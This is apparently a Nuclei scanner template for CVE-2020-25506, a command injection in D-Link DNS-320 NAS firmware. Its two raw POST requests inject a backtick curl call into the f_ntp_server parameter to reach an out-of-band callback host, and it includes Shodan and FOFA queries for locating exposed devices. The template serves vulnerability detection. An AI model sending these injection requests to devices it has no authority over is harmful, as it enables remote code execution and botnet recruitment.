60 lines
2.4 KiB
YAML
60 lines
2.4 KiB
YAML
id: CVE-2020-25506
|
|
|
|
info:
|
|
name: D-Link DNS-320 - Unauthenticated Remote Code Execution
|
|
author: gy741
|
|
severity: critical
|
|
description: D-Link DNS-320 FW v2.06B01 Revision Ax is susceptible to a command injection vulnerability in a system_mgr.cgi component. The component does not successfully sanitize the value of the HTTP parameters f_ntp_server, which in turn leads to arbitrary command execution.
|
|
impact: |
|
|
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected device.
|
|
remediation: |
|
|
Apply the latest firmware update provided by D-Link to mitigate this vulnerability.
|
|
reference:
|
|
- https://gist.github.com/WinMin/6f63fd1ae95977e0e2d49bd4b5f00675
|
|
- https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-25506
|
|
- https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10183
|
|
- https://www.dlink.com/en/security-bulletin/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2020-25506
|
|
cwe-id: CWE-78
|
|
epss-score: 0.97383
|
|
epss-percentile: 0.99903
|
|
cpe: cpe:2.3:o:dlink:dns-320_firmware:2.06b01:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: dlink
|
|
product: dns-320_firmware
|
|
shodan-query: http.html:"sharecenter"
|
|
fofa-query: body="sharecenter"
|
|
tags: cve,cve2020,dlink,rce,oast,mirai,unauth,router,kev
|
|
variables:
|
|
useragent: '{{rand_base(6)}}'
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /cgi-bin/system_mgr.cgi? HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
|
|
C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'`
|
|
- |
|
|
POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'` HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
|
words:
|
|
- "http"
|
|
|
|
- type: word
|
|
part: interactsh_request
|
|
words:
|
|
- "User-Agent: {{useragent}}"
|
|
# digest: 4a0a0047304502210087f9fda321acac1cfec59ea26884ff17883f6578cbb15be1a787358a943732730220051d4c4fafdee0ca2c78245e67b43a6e72988d334ddb685ca84234247fcccabc:922c64590222798bb761d5b6d8e72950 |